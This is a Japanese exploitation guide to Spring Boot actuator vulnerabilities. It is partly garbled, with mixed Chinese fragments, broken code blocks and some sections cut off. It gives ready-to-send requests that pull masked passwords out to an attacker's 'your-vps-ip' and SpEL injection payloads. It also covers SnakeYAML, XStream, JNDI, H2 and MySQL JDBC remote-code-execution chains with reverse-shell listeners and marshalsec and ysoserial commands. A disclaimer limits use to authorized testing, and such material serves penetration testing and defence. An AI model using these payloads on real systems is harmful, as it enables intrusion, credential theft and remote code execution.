
SpringBoot 関連脆弱性学習資料、利用方法とテクニック集、ブラックボックスセキュリティ評価チェックリスト
Spring Boot 関連脆弱性学習資料、利用方法とテクニック集、ブラックボックスセキュリティ評価チェックリスト
⚠️ 本プロジェクトのすべての内容は、セキュリティ研究および許可されたテストのみを目的としており、関連する人物は、本プロジェクトの誤用および濫用によって生じた一切の損害に対して責任を負いません。
/manage、/management、プロジェクト App 関連名称を spring のルートパスとしてカスタマイズすることがあります。/ ですが、2.x バージョンでは /actuator が統一された開始パスになります。/env)は、プログラマーによって変更される場合があります(例:/appenv に変更)。Spring Cloud は Spring Boot を基にサービスを構築し、設定管理、サービス登録と発見、スマートルーティングなどの一般的な機能を提供することで、分散システムの迅速な開発を支援する一連のフレームワークの順序付けられたコレクションです。
| 依存関係 | バージョン一覧と依存コンポーネントバージョン |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies | spring-boot-dependencies |
| spring-cloud-dependencies | spring-cloud-dependencies |
| Spring Cloud メジャーバージョン | Spring Boot バージョン |
|---|---|
| Angel | Spring Boot 1.2.x と互換 |
| Brixton | Spring Boot 1.3.x、1.4.x と互換 |
| Camden | Spring Boot 1.4.x、1.5.x と互換 |
| Dalston | Spring Boot 1.5.x と互換、2.0.x とは非互換 |
| Edgware | Spring Boot 1.5.x と互換、2.0.x とは非互換 |
| Finchley | Spring Boot 2.0.x と互換、1.5.x とは非互換 |
| Greenwich | Spring Boot 2.1.x と互換 |
| Hoxton | Spring Boot 2.2.x と互換 |
| マイナーバージョン接尾辞 | 意味 |
|---|---|
| BUILD-SNAPSHOT | スナップショット版、コードは固定されておらず、変化している途中 |
| MX | マイルストーン版 |
| RCX | リリース候補版 |
| RELEASE | 正式リリース版 |
| SRX | (バグ修正と修正が含まれた) 正式リリース版 |
開発者がアドレス漏洩がセキュリティ上の問題を引き起こす可能性を認識していないか、開発環境から本番環境に切り替える際に関連担当者が設定ファイルを変更せず、環境設定を切り替え忘れるケースなどがあります。
以下の 2 つの swagger 関連ルートに直接アクセスして、脆弱性が存在するかどうかを確認します。``` /v2/api-docs /swagger-ui.html
他にも遭遇する可能性のあるswagger、swagger codegen、swagger-dubboなどの関連インターフェースルート:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
これ以外に、以下の spring boot actuator 関連ルートは時にいくつかのインターフェースアドレス情報を含む(または推測する)ことがあるが、パラメータ関連情報を取得することはできない:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**一般に、Spring Boot アプリケーションの関連インターフェースやパラメータ情報が公開されていても脆弱性とは言えません**が、「**デフォルトで安全**」という観点では、これらの情報を公開しない方がより安全です。
攻撃者にとっては、公開されたインターフェースを詳細に監査して業務システムへの理解を深め、同時にアプリケーションに未承認アクセスや権限昇格などの他の種類のビジネス脆弱性が存在するかどうかをチェックするのが一般的です。
### 0x02:設定ミスにより露出するルート
> 主に、開発者がルートの露出がセキュリティリスクを引き起こす可能性があることに気づいていなかったり、標準的なフローチャートに従って開発せず、本番環境の構成を変更/切り替える必要があることを忘れてリリースしたことが原因です。
参考 [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) と [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) から、設定ミスにより露出する可能性のあるデフォルトの組み込みルートは以下のとおりです:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
その中で脆弱性を探すのに重要なインターフェースには以下があります:
/env、/actuator/env
GET リクエスト /env は環境変数、内部ネットワークアドレス、設定内のユーザー名などを直接漏洩します。プログラマーが属性名の命名規則を守っていない場合(例:password を psasword や pwd と書く)、パスワード平文が漏洩します。
同時に、一定の確率で POST リクエスト /env インターフェースを用いて一部の属性を設定し、間接的に関連する RCE 脆弱性を引き起こす可能性があります。また、アスタリスクで隠されたパスワードやキーなどの重要なプライバシー情報の平文を入手できる確率もあります。
/refresh、/actuator/refresh
POST リクエスト /env インターフェースで属性を設定した後、同時に POST リクエスト /refresh インターフェースを用いて属性変数をリフレッシュし、関連する RCE 脆弱性を引き起こすことができます。
/restart、/actuator/restart
このインターフェースが露出するケースは少ないです。POST リクエスト /env インターフェースで属性を設定した後、さらに POST リクエスト /restart インターフェースでアプリケーションを再起動し、関連する RCE 脆弱性を引き起こすことが可能です。
/jolokia、/actuator/jolokia
/jolokia/list インターフェースを介して利用可能な MBean を探し、間接的に関連する RCE 脆弱性を引き起こしたり、アスタリスクで隠された重要なプライバシー情報の平文を入手したりできます。
/trace、/actuator/httptrace
一部の HTTP リクエストパケットのアクセストレース情報が含まれており、内部ネットワークアプリケーションシステムのリクエスト情報の詳細や、有効なユーザーや管理者の Cookie、JWT トークンなどの情報が見つかる可能性があります。
/env インターフェースにアクセスすると、Spring Actuator は機密性の高いキーワード(password、secret など)を含む属性名に対応する属性値を * に置き換えてマスキングします。
/jolokia または /actuator/jolokia インターフェースが存在することjolokia-core 依存関係を使用していること(バージョン要件は未確認)GET リクエストで対象サイトの /env または /actuator/env インターフェースにアクセスし、****** というキーワードを検索して、アスタリスク * で隠された属性値に対応する属性名を見つけます。
以下の例の security.user.password を実際に取得したい属性名に置き換えて、そのままパケットを送信します。平文の値はレスポンスパケット内の value キーに含まれます。
org.springframework.boot MBean を呼び出す実際には
org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrarクラスインスタンスのgetPropertyメソッドを呼び出します。
Spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment Mbean実際には org.springframework.cloud.context.environment.EnvironmentManager クラスのインスタンスの getProperty メソッドを呼び出す
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
対象の具体的な状況と存在する Mbean は異なる可能性があります。キーワード
getPropertyなどを検索し、呼び出し可能なメソッドを探してください。
/env に GET リクエストが可能/env に POST リクエストが可能/refresh インターフェースに POST リクエストで設定を更新可能(spring-boot-starter-actuator 依存関係が必要)spring-cloud-starter-netflix-eureka-client 依存関係を使用している対象 Web サイトの /env または /actuator/env インターフェースに GET リクエストを送り、****** というキーワードを検索して、アスタリスク * で隠されたプロパティ値に対応するプロパティ名を見つけます。
自分が管理する外部サーバーで 80 番ポートをリスンします:```bash nc -lvk 80
##### 手順三: eureka.client.serviceUrl.defaultZone プロパティの設定
以下の `http://value:${security.user.password}@your-vps-ip` 内の `security.user.password` を、取得したい対応するアスタリスク * で隠されたプロパティ名に置き換えます。
`your-vps-ip` を自身の外部サーバーの実際の IP アドレスに置き換えます。
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### ステップ4: 設定のリフレッシュ
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### ステップ5: 属性値のデコード
正常であれば、この時点で nc がリッスンしているサーバーはターゲットから送信されたリクエストを受信します。そのリクエストには次のような `Authorization` ヘッダーが含まれています:```
Authorization: Basic dmFsdWU6MTIzNDU2
将其中の dmFsdWU6MTIzNDU2 部分を Base64 デコードすることで、プレーンテキスト値 value:123456 と同様のものが得られます。123456 は、対象のアスタリスク * によるマスキング前の属性値のプレーンテキストです。
/env で属性を設定し、ターゲットが外部ネットワークの指定アドレスに対して任意のHTTPリクエストを送信させるUUUUnotfound 氏が提案した issue-1 を参考に、ターゲットが外部 HTTP リクエストを送信する際に、URLパス内のプレースホルダーを利用してデータを引き出すことが可能
GET リクエストでターゲットの /env または /actuator/env エンドポイントにアクセスし、****** というキーワードを検索して、アスタリスク * で隠された属性値に対応する属性名を見つける。
自分が管理する外部ネットワークのサーバーで 80 番ポートを待ち受ける:```bash nc -lvk 80
##### ステップ3: 外部へのHTTPリクエストをトリガーする
- `spring.cloud.bootstrap.location` メソッド(**平文データ中に特殊なURL文字が含まれる場合にも適用されます**)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
Spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` メソッド(**適用不可**:平文データに特殊なURL文字が含まれる場合)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### ステップ4: 設定のリフレッシュ
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06:アスタリスクでマスキングされたパスワードの平文を取得する (方法四)
> /env エンドポイントにアクセスすると、spring actuator はパスワードやシークレットなどの機密キーワードを含むプロパティ名に対応するプロパティ値をアスタリスク(*)で置き換え、マスキング効果を実現します。
#### 利用条件:
- 正常に GET リクエストでターゲットの `/heapdump` または `/actuator/heapdump` エンドポイントにアクセスできること
#### 利用方法:
##### ステップ1:取得したいプロパティ名を見つける
ターゲット Web サイトの `/env` または `/actuator/env` エンドポイントに GET リクエストを送信し、`******` キーワードを検索して、アスタリスク * で隠されたプロパティ値に対応するプロパティ名を見つけます。
##### ステップ2:JVM ヒープ情報をダウンロードする
> ダウンロードされる heapdump ファイルのサイズは通常 50M〜500M ですが、場合によっては 2G を超えることもあります。
ターゲットの `/heapdump` または `/actuator/heapdump` エンドポイントに `GET` リクエストを送信し、アプリケーションのリアルタイム JVM ヒープ情報をダウンロードします。
##### ステップ3:MAT を使用して JVM ヒープからパスワードの平文を取得する
[記事](https://landgrey.me/blog/16/) の方法を参考に、[Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) ツールの **OQL** ステートメントを使用します```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
spring boot 関連の脆弱性は複数のコンポーネントの脆弱性が組み合わさって発生することがあるため、一部の脆弱性の名前は正式ではないものもあり、区別できることを基準としています。
例えば、/article?id=xxx にアクセスすると、ページがステータスコード500のエラー:Whitelabel Error Page を表示する場合、以降のペイロードはすべてパラメータ id で試行されます。
/article?id=${7*7} を入力し、エラーページに 7*7 の値 49 が計算されて表示される場合、対象に SpEL 式インジェクションの脆弱性が存在することがほぼ確定できます。
文字列形式から 0x** java バイト形式に変換し、任意のコードを実行しやすくします。```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
`open -a Calculator` コマンドを実行する```java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelper クラスに入る。parseStringValue メソッドで再帰的に解析される。${} で囲まれた内容はすべて、org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration クラスの resolvePlaceholder メソッドによってSpEL式として解析・実行され、RCE脆弱性を引き起こす。正常なアクセス:``` http://127.0.0.1:9091/article?id=66
実行 `open -a Calculator` コマンド:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env エンドポイントに属性を設定できること/refresh エンドポイントに設定をリフレッシュできること(spring-boot-starter-actuator 依存関係が存在すること)spring-cloud-starter のバージョンが 1.3.0.RELEASE 未満であること自分が管理する VPS マシン上でシンプルな HTTP サーバーを起動し、ポートは可能な限り一般的な HTTP サービス ポート(80、443)を使用する```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
ウェブサイトのルートディレクトリに、拡張子が `yml` のファイル `example.yml` を配置します。内容は以下の通りです。```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
ウェブサイトのルートディレクトリに拡張子が jar のファイル example.jar を配置し、その内容は実行したいコードとします。コードの作成およびコンパイル方法は yaml-payload を参考にしてください。
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
正常アクセス:``` http://127.0.0.1:9092/env
### 0x03:eureka xstream deserialization RCE
#### 利用条件:
- 対象Webサイトの`/env`エンドポイントにPOSTリクエストを送信してプロパティを設定できること
- 対象Webサイトの`/refresh`エンドポイントにPOSTリクエストを送信して設定を更新できること(`spring-boot-starter-actuator`依存関係が存在する)
- 対象が使用する`eureka-client`が1.8.7未満であること(通常は`spring-cloud-starter-netflix-eureka-client`依存関係に含まれる)
- 対象が攻撃者のHTTPサーバーにリクエストを送信できること(外部ネットワークへのリクエストが可能)
#### 利用方法:
##### 手順一:悪性のXStreamペイロードを返すWebサイトを構築する
Flaskに依存した要件を満たす[python 脚本示例](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py)を提供します。このスクリプトは、対象のLinuxマシンに標準でインストールされているPythonを使用してリバースシェルを取得します。
自分が管理するサーバーでPythonを使用して上記のスクリプトを実行し、実際の状況に応じてスクリプト内のリバースシェルのIPアドレスとポート番号を修正してください。
##### 手順二:リバースシェルのポートをリッスンする
一般使用 nc 监听端口,等待反弹 shell```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
正常なアクセス:``` http://127.0.0.1:9093/env
### 0x04:jolokia logback JNDI RCE
#### 利用条件:
- 対象Webサイトに `/jolokia` または `/actuator/jolokia` エンドポイントが存在すること
- 対象が `jolokia-core` 依存関係を使用しており(バージョン要件は未確認)、環境内に関連する MBean が存在すること
- 対象が攻撃者のHTTPサーバーにリクエストを送信できること(外部ネットワークへのリクエストが可能であること)
- 通常のJNDIインジェクションはターゲットのJDKバージョンに影響されます(jdk < 6u201/7u191/8u182/11.0.1(LDAP))が、関連環境ではバイパス可能
#### 利用方法:
##### ステップ1:既存のMBeansを確認する
`/jolokia/list` エンドポイントにアクセスし、`ch.qos.logback.classic.jmx.JMXConfigurator` および `reloadByURL` キーワードが存在するか確認します。
##### ステップ2:xmlファイルをホスティングする
自分の管理下にあるVPSマシンでシンプルなHTTPサーバーを起動し、ポートは可能であれば一般的なHTTPサービスポート(80、443)を使用します。```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
ルートディレクトリに xml で終わる example.xml ファイルを配置し、内容は次の通りです:```xml
##### 手順3:実行するJavaコードの準備
最適化されたリバースシェル取得用の[Javaサンプルコード](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` を作成し、
低バージョンのJDKと互換性のある方法でコンパイルします:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
然后将生成的 JNDIObject.class ファイルを 手順二 のウェブサイトのルートディレクトリにコピーします。
marshalsec をダウンロードし、以下のコマンドを使用して対応する LDAP サービスをセットアップします:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### ステップ5:リバースシェルを待ち受けるポート
一般的には nc を使用してポートをリッスンし、リバースシェルを待ちます。```bash
nc -lv 443
⚠️ ターゲットがexample.xmlを正常にリクエストし、marshalsecもターゲットのリクエストを受信したが、ターゲットがJNDIObject.classをリクエストしなかった場合、おそらくターゲット環境のJDKバージョンが高すぎるためにJNDIの悪用が失敗したと考えられます。
実際のyour-vps-ipアドレスに置き換えてURLにアクセスし、脆弱性をトリガーします:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### 脆弱性原理:
1. 脆弱なURLに直接アクセスすると、jolokiaを介して`ch.qos.logback.classic.jmx.JMXConfigurator`クラスの`reloadByURL`メソッドが呼び出される。
2. ターゲットマシンが外部ログ設定ファイルのURLを要求し、悪意のあるXMLファイルの内容を取得する。
3. ターゲットマシンがsaxParser.parseを使用してXMLファイルを解析する(ここでXXE脆弱性が発生する)。
4. XMLファイル内で`logback`依存関係の`insertFormJNDI`タグを利用して、外部JNDIサーバーのアドレスを設定する。
5. ターゲットマシンが悪意のあるJNDIサーバーに要求を送信し、JNDIインジェクションが発生し、RCE脆弱性が引き起こされる。
#### 脆弱性分析:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### 脆弱性環境:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
正常アクセス:```
http://127.0.0.1:9094/env
/jolokia または /actuator/jolokia エンドポイントが存在するjolokia-core 依存関係を使用している(バージョン要件は現時点では不明)、かつ環境に関連する MBean が存在する/jolokia/list エンドポイントにアクセスし、type=MBeanFactory および createJNDIRealm キーワードが存在するか確認する。
最適化されたリバースシェルを取得する Java サンプルコード JNDIObject.java を作成する。
自身が管理する VPS 上で簡易 HTTP サーバーを起動し、ポートはできるだけ一般的な HTTP サービス用のポート(80、443)を使用する。```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
将**手順2**でコンパイルしたクラスファイルをHTTPサーバのルートディレクトリにコピーします。
##### 手順4:悪意のあるRMIサービスの構築
[marshalsec](https://github.com/mbechler/marshalsec) をダウンロードし、以下のコマンドを使用して対応するRMIサービスを構築します:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
一般に nc を使用してポートを待ち受け、リバースシェルを待つ```bash nc -lvp 443
##### ステップ六:悪意のあるペイロードを送信
実際の状況に応じて、[springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) スクリプト内のターゲットアドレス、RMI アドレス、ポートなどの情報を修正し、自分が管理するサーバー上で実行します。
#### 脆弱性の原理:
1. jolokia を使用して createJNDIRealm を呼び出し、JNDIRealm を作成する
2. connectionURL アドレスを RMI Service URL に設定する
3. contextFactory を RegistryContextFactory に設定する
4. Realm を停止する
5. Realm を起動して、指定された RMI アドレスへの JNDI インジェクションをトリガーし、RCE 脆弱性を引き起こす
#### 脆弱性の分析:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### 脆弱性の環境:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
正常なアクセス:```
http://127.0.0.1:9094/env
/envエンドポイントにPOSTリクエストを送信してプロパティを設定できること/restartエンドポイントにPOSTリクエストを送信してアプリケーションを再起動できることcom.h2database.h2の依存関係が存在すること(バージョン要件は現時点では不明)spring.datasource.hikari.connection-test-queryプロパティを設定する⚠️ 以下のペイロード内の
'T5'メソッドは、コマンドを実行するたびに名前を変更する必要があります(例:T6)。そうしないと、次回restartでアプリケーションを再起動した際に脆弱性がトリガーされません。
spring 1.x(コマンド実行の結果は表示されない)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(エコーなしでコマンド実行)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query プロパティが悪意のある CREATE ALIAS によるカスタム関数を作成する SQL 文に設定される正常アクセス:``` http://127.0.0.1:9096/actuator/env
### 0x07:h2 database console JNDI RCE
#### 利用条件:
- `com.h2database.h2` 依存関係が存在すること(バージョン要件は未確認)
- Spring 設定で h2 console が有効になっていること `spring.h2.console.enabled=true`
- ターゲットが攻撃者のサーバーにリクエストを送信できること(外部ネットワークへのリクエストが可能)
- JNDI インジェクションはターゲットの JDK バージョンに影響される。jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
#### 利用方法:
##### 手順一:ルートにアクセスして jsessionid を取得
h2 console のデフォルトルート `/h2-console` に直接アクセスすると、ページ `/h2-console/login.jsp?jsessionid=xxxxxx` にリダイレクトされる。実際の `jsessionid=xxxxxx` の値を記録する。
##### 手順二:実行する Java コードを準備
シェルをリバースするために最適化された [Java サンプルコード](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` を作成し、
低バージョンの JDK と互換性のある方法でコンパイルする:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
次に生成された JNDIObject.class ファイルを ステップ2 のウェブサイトのルートディレクトリにコピーします。
自分が管理するVPSマシン上で簡易HTTPサーバーを起動し、ポートは可能な限り一般的なHTTPサービスポート(80、443)を使用します。```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
**ステップ2**でコンパイルしたclassファイルをHTTPサーバーのルートディレクトリにコピーします。
##### ステップ4:悪意のあるldapサービスの構築
[marshalsec](https://github.com/mbechler/marshalsec) をダウンロードし、以下のコマンドを使用して対応するldapサービスを構築します:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
通常はncを使用してポートをリスニングし、リバースシェルを待機します```bash nc -lv 443
##### ステップ6:パケット送信によるJNDIインジェクションのトリガー
実際の状況に応じて、以下のデータ内の `jsessionid=xxxxxx`、`www.example.com` および `ldap://your-vps-ip:1389/JNDIObject` を置き換えます```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
正常アクセス:``` http://127.0.0.1:9096/h2-console
### 0x08:mysql jdbc deserialization RCE
#### 利用条件:
- ターゲットサイトの `/env` エンドポイントに POST リクエストを送信してプロパティを設定できること
- ターゲットサイトの `/refresh` エンドポイントに POST リクエストを送信して設定をリフレッシュできること(`spring-boot-starter-actuator` 依存関係が存在する場合)
- ターゲット環境に `mysql-connector-java` 依存関係が存在すること
- ターゲットが攻撃者のサーバーにリクエストを送信できること(外部ネットワークへのリクエストが可能なこと)
#### 利用方法:
##### ステップ 1:環境依存関係の確認
`/env` または `/actuator/env` に GET リクエストを送信し、環境変数(クラスパス)に `mysql-connector-java` というキーワードが含まれているか検索し、バージョン番号(5.x または 8.x)を記録します。
環境変数に一般的な逆シリアル化ガジェットの依存関係(例:`commons-collections`、`Jdk7u21`、`Jdk8u20` など)が存在するか検索して確認します。
`spring.datasource.url` というキーワードを検索し、その `value` 値を記録します。後で通常の JDBC URL 値を復元するのに便利です。
##### ステップ 2:悪意のある rogue mysql server のセットアップ
自分で制御するサーバー上で [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) スクリプトを実行し、[ysoserial](https://github.com/frohoff/ysoserial) を使用して実行するコマンドをカスタマイズします。```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在スクリプトと同じディレクトリに payload.ser という逆シリアル化ペイロードファイルを生成し、スクリプトで使用します。
⚠️ このプロパティを変更すると、一時的にサイトのすべての正常なデータベースサービスが利用不可になり、業務に影響を及ぼす可能性があります。慎重に操作してください!
mysql-connector-java 5.x バージョンでのプロパティ値の設定:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x バージョンでは**プロパティ値**を次のように設定します:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
Spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Webサイトの既知のデータベースクエリインターフェース(例:/product/list)にアクセスするか、他の方法を探して、元のWebサイトがデータベースクエリを能動的にトリガーするようにします。その後、脆弱性がトリガーされます。
逆シリアル化脆弱性の悪用が完了したら、手順3の方法を使用して、手順1で記録したspring.datasource.urlの元のvalue値を復元します。
spring.datasource.urlプロパティが外部の悪意のあるMySQL JDBC URLアドレスに設定されるrefreshによるリフレッシュ後、新しいspring.datasource.urlプロパティ値が設定されるmysql-connector-javaが設定されたガジェットを逆シリアル化し、RCE脆弱性を引き起こす
application.properties内のspring.datasource.url、spring.datasource.username、spring.datasource.passwordを設定し、MySQLデータベースに正常に接続できることを確認する必要があります。そうしないと、プログラム起動時にエラーが発生して終了します。
正常アクセス:``` http://127.0.0.1:9097/actuator/env
ペイロードを送信した後、脆弱性をトリガーする:```
http://127.0.0.1:9097/product/list
/env エンドポイントに POST リクエストを送信してプロパティを設定できること/restart エンドポイントに POST リクエストを送信してアプリケーションを再起動できることjavax.naming.spi.ObjectFactory インターフェースを実装している必要があります。そうでない場合、プログラムが異常終了します自分が制御する VPS 上で簡易 HTTP サーバーを起動し、ポートはできるだけ一般的な HTTP サービス用ポート(80、443)を使用します```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
ルートディレクトリに `xml` で終わる `example.xml` ファイルを配置します。実際の内容は、手順2で使用するJNDIサービスに基づいて決定します:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
記事を参照して、JNDIExploitを修正して起動します(他の方法を使用することもできます):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### ステップ3: logging.config プロパティの設定
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### 手順4:アプリケーションの再起動
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
Spring 2.x``` POST /actuator/restart Content-Type: application/json
#### 脆弱性原理:
1. 対象マシンは `logging.config` プロパティで logback ログ設定ファイルの URL アドレスを設定する
